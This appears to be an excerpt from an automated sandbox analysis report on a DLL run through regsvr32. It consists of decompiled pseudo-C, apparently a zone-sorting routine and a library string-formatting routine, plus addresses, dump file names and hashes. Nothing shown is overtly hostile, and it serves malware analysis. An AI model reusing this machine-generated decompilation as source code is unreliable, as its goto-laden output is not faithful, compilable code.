				if (_t338 == 0) goto 0x8000d46e;
				if (E00000001180053BDC( *((intOrPtr*)(_t258 + 8)),  *((intOrPtr*)(_t385 + 0x20))) != 0) goto 0x8000d25b;
				if ( *((intOrPtr*)(_t385 + 0x20)) == 0) goto 0x8000d2be;
				if ( *((intOrPtr*)(_t300 + 0x20)) == 0) goto 0x8000d2be;
				_t143 = E00000001180053BDC( *((intOrPtr*)(_t258 + 8)),  *((intOrPtr*)(_t385 + 0x20)));
				if (_t143 == 0) goto 0x8000d2be;
				if (_t143 >= 0) goto 0x8000d46e;
				goto 0x8000d33d;
				if (r12d != 1) goto 0x8000d283;
				_t193 =  *((intOrPtr*)(_t385 + 0x38)) -  *((intOrPtr*)(_t300 + 0x38));
				if (_t193 < 0) goto 0x8000d33d;
				if (_t193 <= 0) goto 0x8000d240;
				goto 0x8000d46e;
				if (r12d != 2) goto 0x8000d29e;
				_t195 =  *((intOrPtr*)(_t385 + 0x58)) -  *((intOrPtr*)(_t300 + 0x58));
				if (_t195 > 0) goto 0x8000d33d;
				if (_t195 >= 0) goto 0x8000d240;
				goto 0x8000d46e;
				if (r12d != 3) goto 0x8000d2ae;
				goto 0x8000d276;
				if (r12d != 4) goto 0x8000d240;
				goto 0x8000d276;
				_t200 =  *((intOrPtr*)(_t385 + 0x38)) -  *((intOrPtr*)(_t300 + 0x38));
				if (_t200 < 0) goto 0x8000d33d;
				if (_t200 > 0) goto 0x8000d46e;
				_t201 =  *((intOrPtr*)(_t385 + 0x58)) -  *((intOrPtr*)(_t300 + 0x58));
				if (_t201 < 0) goto 0x8000d33d;
				if (_t201 > 0) goto 0x8000d46e;
				_t202 =  *((intOrPtr*)(_t385 + 0x50)) -  *((intOrPtr*)(_t300 + 0x50));
				if (_t202 < 0) goto 0x8000d33d;
				if (_t202 > 0) goto 0x8000d46e;
				_t203 =  *((intOrPtr*)(_t385 + 0x48)) -  *((intOrPtr*)(_t300 + 0x48));
				if (_t203 < 0) goto 0x8000d33d;
				if (_t203 > 0) goto 0x8000d46e;
				_t268 =  *((intOrPtr*)(_t385 + 0x60));
				goto 0x8000d30e;
				if ( *_t268 != 0xffffffff) goto 0x8000d31b;
				if ( *((intOrPtr*)(_t268 + 0x10)) != 0) goto 0x8000d304;
				_t270 =  *((intOrPtr*)(_t300 + 0x60));
				goto 0x8000d32a;
				goto 0x8000d315;
				if ( *_t270 != 0xffffffff) goto 0x8000d334;
				_t271 =  *((intOrPtr*)(_t270 + 0x10));
				if (_t271 != 0) goto 0x8000d320;
				goto 0x8000d46e;
				if ( *_t270 -  *_t271 >= 0) goto 0x8000d46e;
				_t350 = _t349 +  *((intOrPtr*)(_t300 + 0x40));
				if (_t353 == 0) goto 0x8000d46b;
				if (_t300 == _t353) goto 0x8000d46e;
				if (r12d != 0) goto 0x8000d3ad;
				_t340 =  *((intOrPtr*)(_t353 + 0x20));
				if ( *((intOrPtr*)(_t300 + 0x20)) != 0) goto 0x8000d373;
				if (_t340 != 0) goto 0x8000d46b;
				goto 0x8000d46e;
				if (_t340 == 0) goto 0x8000d46e;
				if (E00000001180053BDC(_t271,  *((intOrPtr*)(_t300 + 0x20))) != 0) goto 0x8000d3a0;
				if ( *((intOrPtr*)(_t300 + 0x20)) == 0) goto 0x8000d403;
				if ( *((intOrPtr*)(_t353 + 0x20)) == 0) goto 0x8000d403;
				_t145 = E00000001180053BDC(_t271,  *((intOrPtr*)(_t300 + 0x20)));
				if (_t145 == 0) goto 0x8000d403;
				if (_t145 >= 0) goto 0x8000d46e;
				goto 0x8000d46b;
				if (r12d != 1) goto 0x8000d3c8;
				_t221 =  *((intOrPtr*)(_t300 + 0x38)) -  *((intOrPtr*)(_t353 + 0x38));
				if (_t221 < 0) goto 0x8000d46b;
				if (_t221 <= 0) goto 0x8000d385;
				goto 0x8000d46e;
				if (r12d != 2) goto 0x8000d3e3;
				_t223 =  *((intOrPtr*)(_t300 + 0x58)) -  *((intOrPtr*)(_t353 + 0x58));
				if (_t223 > 0) goto 0x8000d46b;
				if (_t223 >= 0) goto 0x8000d385;
				goto 0x8000d46e;
				if (r12d != 3) goto 0x8000d3f3;
				goto 0x8000d3bb;
				if (r12d != 4) goto 0x8000d385;
				goto 0x8000d3bb;
				_t228 =  *((intOrPtr*)(_t300 + 0x38)) -  *((intOrPtr*)(_t353 + 0x38));
				if (_t228 < 0) goto 0x8000d46b;
				if (_t228 > 0) goto 0x8000d46e;
				_t229 =  *((intOrPtr*)(_t300 + 0x58)) -  *((intOrPtr*)(_t353 + 0x58));
				if (_t229 < 0) goto 0x8000d46b;
				if (_t229 > 0) goto 0x8000d46e;
				_t230 =  *((intOrPtr*)(_t300 + 0x50)) -  *((intOrPtr*)(_t353 + 0x50));
				if (_t230 < 0) goto 0x8000d46b;
				if (_t230 > 0) goto 0x8000d46e;
				_t231 =  *((intOrPtr*)(_t300 + 0x48)) -  *((intOrPtr*)(_t353 + 0x48));
				if (_t231 < 0) goto 0x8000d46b;
				if (_t231 > 0) goto 0x8000d46e;
				_t280 =  *((intOrPtr*)(_t300 + 0x60));
				goto 0x8000d443;
				if ( *_t280 != 0xffffffff) goto 0x8000d450;
				if ( *((intOrPtr*)(_t280 + 0x10)) != 0) goto 0x8000d439;
				_t282 =  *((intOrPtr*)(_t353 + 0x60));
				goto 0x8000d45f;
				goto 0x8000d44a;
				if ( *_t282 != 0xffffffff) goto 0x8000d466;
				_t283 =  *((intOrPtr*)(_t282 + 0x10));
				if (_t283 != 0) goto 0x8000d455;
				goto 0x8000d46e;
				if ( *_t282 -  *_t283 >= 0) goto 0x8000d46e;
				_t354 = _t300;
				E0000000118000F3BC(_t300);
				if (_t283 != 0) goto 0x8000d1ba;
				if (_t354 == 0) goto 0x8000d691;
				_t323 =  *((intOrPtr*)(_t357 + 0x218)) + _t350;
				 *((long long*)(_t357 + 0x210)) = _t323;
				_t284 =  *((intOrPtr*)(_t354 + 0x60));
				goto 0x8000d4ba;
				if ( *_t284 != 0xffffffff) goto 0x8000d4d3;
				if ( *((intOrPtr*)(_t284 + 0x10)) != 0) goto 0x8000d4b0;
				if (_t323 != _t378) goto 0x8000d4d8;
				goto 0x8000d687;
				goto 0x8000d4c1;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t357 + 8)))) != 0) goto 0x8000d687;
				_t325 =  *((intOrPtr*)(_t354 + 0x40));
				if (_t350 - _t325 >= 0) goto 0x8000d687;
				if ( *((intOrPtr*)(_t354 + 0x7c)) != 0) goto 0x8000d687;
				if (_t350 == 0) goto 0x8000d528;
				r8d = 0;
				 *(_t360 + 0x20) = _t325 - _t350;
				_t92 = _t362 + 5; // 0x5
				E00000001180004968(0, _t92,  *((intOrPtr*)(_t357 + 8)),  *((intOrPtr*)(_t360 + 0x50)),  *((intOrPtr*)(_t357 + 8)), _t362, L"Item partially placed, %I64u clusters more to do", _t388);
				if ( *((intOrPtr*)(_t360 + 0xa8)) + 0x10 +  *((intOrPtr*)(_t354 + 0x40)) - _t350 -  *(_t360 + 0xb8) <= 0) goto 0x8000d5bb;
				_t363 = _t378 +  *((intOrPtr*)(_t354 + 0x40));
				 *(_t360 + 0x20) =  *(_t360 + 0x20) & 0x00000000;
				E0000000118000F464(0, 0, 0, _t170,  *((intOrPtr*)(_t360 + 0xa8)) + 0x10 +  *((intOrPtr*)(_t354 + 0x40)) - _t350 -  *(_t360 + 0xb8),  *((intOrPtr*)(_t360 + 0xa0)), _t357, _t363,  *(_t360 + 0x58) +  *((intOrPtr*)(_t354 + 0x40)) - _t350, __r10);
				r8d = 0;
				 *(_t360 + 0x48) = r8d;
				r9d = 0;
				 *((long long*)(_t360 + 0x40)) = _t360 + 0xb8;
				 *((long long*)(_t360 + 0x38)) = _t360 + 0xa8;
				 *(_t360 + 0x30) = r8d;
				 *(_t360 + 0x28) = 1;
				 *(_t360 + 0x20) = _t363;
				if (E0000000118000B10C(0, _t360 + 0xa8, _t283,  *((intOrPtr*)(_t360 + 0xa0)), _t357, _t378 +  *((intOrPtr*)(_t354 + 0x40)),  *(_t360 + 0x58) +  *((intOrPtr*)(_t354 + 0x40)) - _t350, _t374) == 0) goto 0x8000d6cb;
				_t391 =  *((intOrPtr*)(_t360 + 0xa8));
				goto 0x8000d5c3;
				_t293 =  *(_t360 + 0xb8) - _t391;
				_t248 =  *((intOrPtr*)(_t354 + 0x40)) - _t350 - _t293;
				if (_t248 <= 0) goto 0x8000d5ee;
				_t305 = _t293 & 0xfffffff8;
				if (_t248 != 0) goto 0x8000d5ee;
				goto 0x8000d677;
				 *(_t360 + 0x30) =  *(_t360 + 0x30) & 0x00000000;
				 *(_t360 + 0x28) = _t305;
				_t365 = _t354;
				 *(_t360 + 0x20) = _t350;
				if (E0000000118000CB04(0, 0, 0, _t170, _t305,  *(_t360 + 0xb8), _t357, _t357, _t365, _t391, _t385, _t377, _t375) != 1) goto 0x8000d620;
				_t392 = _t391 + _t305;
				 *((long long*)(_t360 + 0xa8)) = _t392;
				goto 0x8000d671;
				r8d = 0;
				 *(_t360 + 0x48) = r8d;
				r9d = 0;
				 *((long long*)(_t360 + 0x40)) = _t360 + 0xb8;
				 *((long long*)(_t360 + 0x38)) = _t360 + 0xa8;
				 *(_t360 + 0x30) = r8d;
				 *(_t360 + 0x28) = 1;
				 *(_t360 + 0x20) = _t365;
				_t366 = _t392;
				if (E0000000118000B10C(0, _t360 + 0xa8, _t305,  *(_t360 + 0xb8), _t357, _t366, _t391, _t374) == 0) goto 0x8000d6cb;
				_t296 =  *((intOrPtr*)(_t357 + 8));
				if ( *_t296 == 0) goto 0x8000d4e5;
				if ( *_t296 != 0) goto 0x8000d6b2;
				goto 0x8000d18c;
				r8d = 0;
				 *(_t360 + 0x20) =  *(_t357 + 4) + 1;
				_t131 = _t366 + 2; // 0x2
				E00000001180004968(0, _t131, _t296,  *((intOrPtr*)(_t360 + 0x50)), _t296, _t366, L"Finished sorting zone %u.", _t349);
				_t156 =  *(_t357 + 4) + 1;
				 *(_t357 + 4) = _t156;
				if (_t156 - 3 < 0) goto 0x8000d149;
				return _t156;
			}





























































                                                                                                        0x18000d0e0
                                                                                                        0x18000d0e0
                                                                                                        0x18000d0e0
                                                                                                        0x18000d0e0
                                                                                                        0x18000d0e0
                                                                                                        0x18000d0e0
                                                                                                        0x18000d0e5
                                                                                                        0x18000d0eb
                                                                                                        0x18000d0f5
                                                                                                        0x18000d0f9
                                                                                                        0x18000d0fc
                                                                                                        0x18000d0ff
                                                                                                        0x18000d102
                                                                                                        0x18000d107
                                                                                                        0x18000d10a
                                                                                                        0x18000d116
                                                                                                        0x18000d130
                                                                                                        0x18000d144
                                                                                                        0x18000d149
                                                                                                        0x18000d14c
                                                                                                        0x18000d158
                                                                                                        0x18000d161
                                                                                                        0x18000d164
                                                                                                        0x18000d16c
                                                                                                        0x18000d16f
                                                                                                        0x18000d177
                                                                                                        0x18000d186
                                                                                                        0x18000d18c
                                                                                                        0x18000d19a
                                                                                                        0x18000d1a0
                                                                                                        0x18000d1a4
                                                                                                        0x18000d1a6
                                                                                                        0x18000d1b0
                                                                                                        0x18000d1be
                                                                                                        0x18000d1cb
                                                                                                        0x18000d1d6
                                                                                                        0x18000d1de
                                                                                                        0x18000d1f0
                                                                                                        0x18000d1f3
                                                                                                        0x18000d1f6
                                                                                                        0x18000d1ff
                                                                                                        0x18000d208
                                                                                                        0x18000d211
                                                                                                        0x18000d217
                                                                                                        0x18000d21e
                                                                                                        0x18000d223
                                                                                                        0x18000d229
                                                                                                        0x18000d231
                                                                                                        0x18000d23e
                                                                                                        0x18000d247
                                                                                                        0x18000d250
                                                                                                        0x18000d252
                                                                                                        0x18000d259
                                                                                                        0x18000d25d
                                                                                                        0x18000d263
                                                                                                        0x18000d26c
                                                                                                        0x18000d272
                                                                                                        0x18000d276
                                                                                                        0x18000d27c
                                                                                                        0x18000d27e
                                                                                                        0x18000d287
                                                                                                        0x18000d28d
                                                                                                        0x18000d291
                                                                                                        0x18000d297
                                                                                                        0x18000d299
                                                                                                        0x18000d2a2
                                                                                                        0x18000d2ac
                                                                                                        0x18000d2b2
                                                                                                        0x18000d2bc
                                                                                                        0x18000d2c2
                                                                                                        0x18000d2c6
                                                                                                        0x18000d2c8
                                                                                                        0x18000d2d2
                                                                                                        0x18000d2d6
                                                                                                        0x18000d2d8
                                                                                                        0x18000d2e2
                                                                                                        0x18000d2e6
                                                                                                        0x18000d2e8
                                                                                                        0x18000d2f2
                                                                                                        0x18000d2f6
                                                                                                        0x18000d2f8
                                                                                                        0x18000d2fe
                                                                                                        0x18000d302
                                                                                                        0x18000d308
                                                                                                        0x18000d311
                                                                                                        0x18000d315
                                                                                                        0x18000d319
                                                                                                        0x18000d31e
                                                                                                        0x18000d324
                                                                                                        0x18000d326
                                                                                                        0x18000d32d
                                                                                                        0x18000d32f
                                                                                                        0x18000d337
                                                                                                        0x18000d33d
                                                                                                        0x18000d344
                                                                                                        0x18000d34d
                                                                                                        0x18000d356
                                                                                                        0x18000d35c
                                                                                                        0x18000d363
                                                                                                        0x18000d368
                                                                                                        0x18000d36e
                                                                                                        0x18000d376
                                                                                                        0x18000d383
                                                                                                        0x18000d38c
                                                                                                        0x18000d395
                                                                                                        0x18000d397
                                                                                                        0x18000d39e
                                                                                                        0x18000d3a2
                                                                                                        0x18000d3a8
                                                                                                        0x18000d3b1
                                                                                                        0x18000d3b7
                                                                                                        0x18000d3bb
                                                                                                        0x18000d3c1
                                                                                                        0x18000d3c3
                                                                                                        0x18000d3cc
                                                                                                        0x18000d3d2
                                                                                                        0x18000d3d6
                                                                                                        0x18000d3dc
                                                                                                        0x18000d3de
                                                                                                        0x18000d3e7
                                                                                                        0x18000d3f1
                                                                                                        0x18000d3f7
                                                                                                        0x18000d401
                                                                                                        0x18000d407
                                                                                                        0x18000d40b
                                                                                                        0x18000d40d
                                                                                                        0x18000d413
                                                                                                        0x18000d417
                                                                                                        0x18000d419
                                                                                                        0x18000d41f
                                                                                                        0x18000d423
                                                                                                        0x18000d425
                                                                                                        0x18000d42b
                                                                                                        0x18000d42f
                                                                                                        0x18000d431
                                                                                                        0x18000d433
                                                                                                        0x18000d437
                                                                                                        0x18000d43d
                                                                                                        0x18000d446
                                                                                                        0x18000d44a
                                                                                                        0x18000d44e
                                                                                                        0x18000d453
                                                                                                        0x18000d459
                                                                                                        0x18000d45b
                                                                                                        0x18000d462
                                                                                                        0x18000d464
                                                                                                        0x18000d469
                                                                                                        0x18000d46b
                                                                                                        0x18000d474
                                                                                                        0x18000d47f
                                                                                                        0x18000d490
                                                                                                        0x18000d4a0
                                                                                                        0x18000d4a3
                                                                                                        0x18000d4aa
                                                                                                        0x18000d4ae
                                                                                                        0x18000d4b4
                                                                                                        0x18000d4bd
                                                                                                        0x18000d4c8
                                                                                                        0x18000d4ce
                                                                                                        0x18000d4d6
                                                                                                        0x18000d4dc
                                                                                                        0x18000d4e5
                                                                                                        0x18000d4ef
                                                                                                        0x18000d4f9
                                                                                                        0x18000d502
                                                                                                        0x18000d50e
                                                                                                        0x18000d511
                                                                                                        0x18000d51b
                                                                                                        0x18000d51f
                                                                                                        0x18000d53a
                                                                                                        0x18000d541
                                                                                                        0x18000d544
                                                                                                        0x18000d557
                                                                                                        0x18000d55c
                                                                                                        0x18000d567
                                                                                                        0x18000d56c
                                                                                                        0x18000d56f
                                                                                                        0x18000d57f
                                                                                                        0x18000d584
                                                                                                        0x18000d589
                                                                                                        0x18000d591
                                                                                                        0x18000d5ab
                                                                                                        0x18000d5b1
                                                                                                        0x18000d5b9
                                                                                                        0x18000d5d2
                                                                                                        0x18000d5d8
                                                                                                        0x18000d5db
                                                                                                        0x18000d5e0
                                                                                                        0x18000d5e4
                                                                                                        0x18000d5e9
                                                                                                        0x18000d5ee
                                                                                                        0x18000d5f6
                                                                                                        0x18000d5fb
                                                                                                        0x18000d601
                                                                                                        0x18000d611
                                                                                                        0x18000d613
                                                                                                        0x18000d616
                                                                                                        0x18000d61e
                                                                                                        0x18000d620
                                                                                                        0x18000d62b
                                                                                                        0x18000d630
                                                                                                        0x18000d633
                                                                                                        0x18000d646
                                                                                                        0x18000d64b
                                                                                                        0x18000d650
                                                                                                        0x18000d658
                                                                                                        0x18000d65d
                                                                                                        0x18000d667
                                                                                                        0x18000d677
                                                                                                        0x18000d681
                                                                                                        0x18000d68a
                                                                                                        0x18000d68c
                                                                                                        0x18000d6a0
                                                                                                        0x18000d6a5
                                                                                                        0x18000d6a9
                                                                                                        0x18000d6ad
                                                                                                        0x18000d6bd
                                                                                                        0x18000d6bf
                                                                                                        0x18000d6c5
                                                                                                        0x18000d6e2

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: ControlDevice
                                                                                                        • String ID: Finished sorting zone %u.$Item partially placed, %I64u clusters more to do
                                                                                                        • API String ID: 2352790924-1365302895
                                                                                                        • Opcode ID: c7cb1c013b8d8704385d5466f78a1b5488c47fda362cc0ecc285cb7897587a3f
                                                                                                        • Instruction ID: 7adad8db025f39bf317889d7493e4cfba06618cbbc460adc00834e71c7561412
                                                                                                        • Opcode Fuzzy Hash: c7cb1c013b8d8704385d5466f78a1b5488c47fda362cc0ecc285cb7897587a3f
                                                                                                        • Instruction Fuzzy Hash: 6F024932205A4C86EAE6CE15E4403A973A5F349BE4F50C527FE5E87B94DF34DA48C722
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0000000180049388 Relevance: 2.8, Strings: 2, Instructions: 350COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 65%
                                                                                                        			E00000001180049388(long long __rbx, void* __rcx, void* __rdx, long long __rsi, void* __r8, void* __r10) {
				void* __rdi;
				void* _t124;
				signed int _t155;
				void* _t159;
				unsigned int _t164;
				signed char _t165;
				signed int _t168;
				signed short _t184;
				void* _t187;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t196;
				signed long long _t245;
				void* _t263;
				signed int** _t274;
				signed int** _t277;
				signed int** _t281;
				signed int*** _t283;
				void* _t287;
				signed long long _t288;
				signed int** _t293;
				void* _t295;
				signed int* _t296;
				long long _t300;
				void* _t303;
				signed long long _t304;
				void* _t306;
				void* _t311;
				void* _t313;
				signed long long _t317;
				void* _t319;
				signed int*** _t320;
				void* _t322;

				_t311 = __r10;
				_t306 = __r8;
				_t298 = __rsi;
				_t287 = __rdx;
				 *((long long*)(_t303 + 0x10)) = __rbx;
				 *((long long*)(_t303 + 0x18)) = _t300;
				 *((long long*)(_t303 + 0x20)) = __rsi;
				_t304 = _t303 - 0x50;
				_t245 =  *0x800d81f8; // 0x68308725f9ca
				 *(_t304 + 0x40) = _t245 ^ _t304;
				_t263 = __rcx;
				_t155 =  *(__rcx + 0x3a) & 0x0000ffff;
				_t6 = _t295 - 0x37; // 0x41
				_t188 = _t6;
				_t7 = _t295 - 0x20; // 0x58
				_t184 = _t7;
				_t189 = _t155 - 0x64;
				if (_t189 > 0) goto 0x8004943b;
				if (_t189 == 0) goto 0x80049465;
				_t190 = _t155 - 0x53;
				if (_t190 > 0) goto 0x80049404;
				if (_t190 == 0) goto 0x800494ab;
				if (_t190 == 0) goto 0x800493f7;
				if (_t190 == 0) goto 0x8004941f;
				if (_t190 == 0) goto 0x800493f7;
				_t159 = _t155 - _t188 - 0xffffffffffffffff;
				if (_t190 == 0) goto 0x800493f7;
				if (_t159 != 1) goto 0x800494d4;
				E0000000118004C12C(0x78, __rcx, __rcx, _t300);
				goto 0x800494cd;
				if (_t159 == _t184) goto 0x800494c3;
				if (_t159 == 0x5a) goto 0x8004942e;
				if (_t159 == 0x61) goto 0x800493f7;
				if (_t159 != 0x63) goto 0x800494d4;
				E0000000118004D0F8(_t159, _t159 - 0x63, __rcx, __rcx, __rsi, _t306, _t322, _t319);
				goto 0x800494cd;
				E0000000118004A9E8(_t159, __rcx, __rcx, _t298, _t317);
				goto 0x800494cd;
				_t196 = _t159 - 0x6f;
				if (_t196 > 0) goto 0x80049494;
				if (_t196 == 0) goto 0x80049475;
				if (_t196 == 0) goto 0x800493f7;
				if (_t196 == 0) goto 0x800493f7;
				if (_t196 == 0) goto 0x800493f7;
				if (_t196 == 0) goto 0x80049465;
				if (_t159 - 0x61 != 5) goto 0x800494d4;
				E0000000118004DB04(__rcx, __rcx);
				goto 0x800494cd;
				 *(__rcx + 0x28) =  *(__rcx + 0x28) | 0x00000010;
				E000000011800395E0(0, __rcx, __rcx, _t287, _t295, _t298, _t300, _t306, _t311, _t313, _t295);
				goto 0x800494cd;
				_t164 =  *(__rcx + 0x28);
				if ((_t164 >> 0x00000005 & 0x00000001) == 0) goto 0x80049488;
				asm("bts ecx, 0x7");
				 *(__rcx + 0x28) = _t164;
				E00000001180037CE0(0, __rcx, __rcx, _t287, _t295, _t298, _t300, _t306, _t311);
				goto 0x800494cd;
				if (_t164 == 0x70) goto 0x800494b5;
				if (_t164 == 0x73) goto 0x800494ab;
				if (_t164 == 0x75) goto 0x80049469;
				if (_t164 != 0x78) goto 0x800494d4;
				goto 0x800494c5;
				E0000000118004E59C(__rcx, __rcx, _t298);
				goto 0x800494cd;
				 *((intOrPtr*)(_t263 + 0x30)) = 0x10;
				 *((intOrPtr*)(_t263 + 0x34)) = 0xb;
				_t124 = E0000000118003AEE0(1, _t263, _t263, _t287, _t295, _t298, _t300, _t306, _t311);
				r13d = 0;
				if (_t124 != 0) goto 0x800494db;
				goto 0x800497c1;
				if ( *((intOrPtr*)(_t263 + 0x38)) != r13b) goto 0x800497bf;
				_t165 =  *(_t263 + 0x28);
				 *(_t304 + 0x34) = 0;
				_t288 = _t317;
				 *((short*)(_t304 + 0x38)) = 0;
				r12d = 0x20;
				if (0 == 0) goto 0x80049539;
				if (0 == 0) goto 0x8004951a;
				_t24 = _t313 + 0xd; // 0xd
				 *(_t304 + 0x34) = _t24;
				goto 0x80049534;
				if ((_t165 & 0x00000001) == 0) goto 0x80049526;
				goto 0x80049513;
				if (0 == 0) goto 0x80049539;
				 *(_t304 + 0x34) = r12w;
				r8d =  *(_t263 + 0x3a) & 0x0000ffff;
				r10d = 0xffdf;
				if ((r10w & (r8w & 0xffffffff) - _t184) != 0) goto 0x8004955d;
				r9b = 1;
				if (0 != 0) goto 0x80049560;
				r9b = r13b;
				r15d = 0x30;
				if (r9b != 0) goto 0x8004957d;
				if (0 == 0) goto 0x8004959b;
				 *(_t304 + 0x34 + _t288 * 2) = r15w;
				if (r8w == _t184) goto 0x8004958f;
				if (r8w != _t188) goto 0x80049592;
				 *((short*)(_t304 + 0x36 + _t288 * 2)) = _t184 & 0x0000ffff;
				_t187 =  *((intOrPtr*)(_t263 + 0x2c)) - 1 -  *(_t263 + 0x48);
				if ((_t165 & 0x0000000c) != 0) goto 0x8004960f;
				r9d = r13d;
				if (_t187 <= 0) goto 0x8004960f;
				r8d =  *(_t263 + 0x20);
				_t274 =  *(_t263 + 0x460);
				if ( *((intOrPtr*)(_t274 + 0x10)) !=  *((intOrPtr*)(_t274 + 8))) goto 0x800495d9;
				if ( *((intOrPtr*)(_t274 + 0x18)) == r13b) goto 0x800495cf;
				r8d = r8d + 1;
				goto 0x800495d3;
				r8d = r8d | 0xffffffff;
				 *(_t263 + 0x20) = r8d;
				goto 0x800495fd;
				 *(_t263 + 0x20) = _t306 + 1;
				 *((long long*)(_t274 + 0x10)) =  *((long long*)(_t274 + 0x10)) + 1;
				 *( *( *(_t263 + 0x460))) = r12w;
				 *( *(_t263 + 0x460)) =  &(( *( *(_t263 + 0x460)))[0]);
				r8d =  *(_t263 + 0x20);
				if (r8d == 0xffffffff) goto 0x8004960f;
				r9d = r9d + 1;
				if (r9d - _t187 < 0) goto 0x800495b3;
				_t296 = _t263 + 0x20;
				r8d = 1;
				 *((long long*)(_t304 + 0x20)) =  *((intOrPtr*)(_t263 + 8));
				_t320 = _t263 + 0x460;
				_t67 = _t304 + 0x34; // 0x54
				E0000000118005181C(_t306 + 1, _t187, _t263, _t320, _t298, _t300, _t296);
				if (0 == 0) goto 0x8004969a;
				if (( *(_t263 + 0x28) >> 0x00000002 & 0x00000001) != 0) goto 0x8004969a;
				r8d = r13d;
				if (_t187 <= 0) goto 0x8004969a;
				_t277 =  *_t320;
				if ( *((intOrPtr*)(_t277 + 0x10)) !=  *((intOrPtr*)(_t277 + 8))) goto 0x80049671;
				if ( *((intOrPtr*)(_t277 + 0x18)) == r13b) goto 0x8004966a;
				goto 0x8004966d;
				 *_t296 =  *_t296 + 0x00000001 | 0xffffffff;
				goto 0x8004968b;
				 *_t296 = _t67 + 1;
				 *((long long*)(_t277 + 0x10)) =  *((long long*)(_t277 + 0x10)) + 1;
				 *( *( *_t320)) = r15w;
				 *( *_t320) =  &(( *( *_t320))[0]);
				if ( *_t296 == 0xffffffff) goto 0x8004969a;
				r8d = r8d + 1;
				if (r8d - _t187 < 0) goto 0x80049653;
				if ( *((intOrPtr*)(_t263 + 0x4c)) != r13b) goto 0x80049771;
				if ( *(_t263 + 0x48) - r13d <= 0) goto 0x80049771;
				_t301 =  *((intOrPtr*)(_t263 + 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t263 + 8)) + 0x28)) != r13b) goto 0x800496c0;
				E0000000118002F1E0( *_t320, _t263,  *((intOrPtr*)(_t263 + 8)), _t67, _t298);
				r15d = r13d;
				if ( *(_t263 + 0x48) == r13d) goto 0x80049738;
				 *(_t304 + 0x30) = r13w;
				if (E0000000118005D094( *(_t263 + 0x28) >> 2, _t188, _t263, _t304 + 0x30,  *((intOrPtr*)(_t263 + 0x40)), _t296, _t298, _t301,  *((intOrPtr*)( *((intOrPtr*)(_t301 + 0x18)) + 8)),  *((intOrPtr*)(_t263 + 8))) <= 0) goto 0x8004976c;
				_t281 =  *_t320;
				r8d =  *(_t304 + 0x30) & 0x0000ffff;
				if ( *((intOrPtr*)(_t281 + 0x10)) !=  *((intOrPtr*)(_t281 + 8))) goto 0x80049715;
				if ( *((intOrPtr*)(_t281 + 0x18)) == r13b) goto 0x80049710;
				 *_t296 =  *_t296 + 1;
				goto 0x8004972c;
				 *_t296 =  *_t296 | 0xffffffff;
				goto 0x8004972c;
				 *_t296 =  *_t296 + 1;
				 *((long long*)(_t281 + 0x10)) =  *((long long*)(_t281 + 0x10)) + 1;
				 *( *( *_t320)) = r8w;
				 *( *_t320) =  &(( *( *_t320))[0]);
				r15d = r15d + 1;
				if (r15d !=  *(_t263 + 0x48)) goto 0x800496cd;
				r12d = 0x20;
				_t168 =  *_t296;
				if (_t168 < 0) goto 0x800497bf;
				if (0 == 0) goto 0x800497bf;
				r8d = r13d;
				if (_t187 <= 0) goto 0x800497bf;
				_t293 =  *_t320;
				if ( *((intOrPtr*)(_t293 + 0x10)) !=  *((intOrPtr*)(_t293 + 8))) goto 0x80049796;
				if ( *((intOrPtr*)(_t293 + 0x18)) == r13b) goto 0x8004978f;
				goto 0x80049792;
				 *_t296 =  *_t296 | 0xffffffff;
				goto 0x80049738;
				r8d =  *(_t263 + 0x48);
				_t283 = _t320;
				 *((long long*)(_t304 + 0x20)) =  *((intOrPtr*)(_t263 + 8));
				E0000000118005181C( *(_t263 + 0x28) >> 2, _t187, _t263, _t283, _t298, _t301, _t296);
				goto 0x8004973e;
				 *_t296 = _t168 + 0x00000001 | 0xffffffff;
				goto 0x800497b0;
				 *_t296 =  &(_t283[0]);
				 *((long long*)( *((intOrPtr*)(_t263 + 0x40)) + 0x10)) =  *((long long*)( *((intOrPtr*)(_t263 + 0x40)) + 0x10)) + 1;
				 *( *( *_t320)) = r12w;
				 *( *_t320) =  &(( *( *_t320))[0]);
				if ( *_t296 == 0xffffffff) goto 0x800497bf;
				r8d = r8d + 1;
				if (r8d - _t187 < 0) goto 0x80049755;
				return E000000011800149A0(1,  *_t296,  *(_t304 + 0x40) ^ _t304);
			}





































                                                                                                        0x180049388
                                                                                                        0x180049388
                                                                                                        0x180049388
                                                                                                        0x180049388
                                                                                                        0x180049388
                                                                                                        0x18004938d
                                                                                                        0x180049392
                                                                                                        0x1800493a0
                                                                                                        0x1800493a4
                                                                                                        0x1800493ae
                                                                                                        0x1800493b8
                                                                                                        0x1800493bb
                                                                                                        0x1800493bf
                                                                                                        0x1800493bf
                                                                                                        0x1800493c2
                                                                                                        0x1800493c2
                                                                                                        0x1800493c5
                                                                                                        0x1800493c8
                                                                                                        0x1800493ca
                                                                                                        0x1800493d0
                                                                                                        0x1800493d3
                                                                                                        0x1800493d5
                                                                                                        0x1800493dd
                                                                                                        0x1800493e2
                                                                                                        0x1800493e7
                                                                                                        0x1800493e9
                                                                                                        0x1800493ec
                                                                                                        0x1800493f1
                                                                                                        0x1800493fa
                                                                                                        0x1800493ff
                                                                                                        0x180049406
                                                                                                        0x18004940f
                                                                                                        0x180049414
                                                                                                        0x180049419
                                                                                                        0x180049424
                                                                                                        0x180049429
                                                                                                        0x180049431
                                                                                                        0x180049436
                                                                                                        0x18004943b
                                                                                                        0x18004943e
